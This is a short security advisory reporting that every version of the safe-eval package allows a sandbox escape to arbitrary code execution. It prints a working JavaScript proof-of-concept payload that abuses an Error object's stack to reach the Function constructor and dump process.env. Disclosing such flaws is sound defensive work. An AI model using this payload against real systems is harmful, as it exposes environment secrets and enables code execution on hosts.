Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
prints the contents of process.env.
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.

This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.
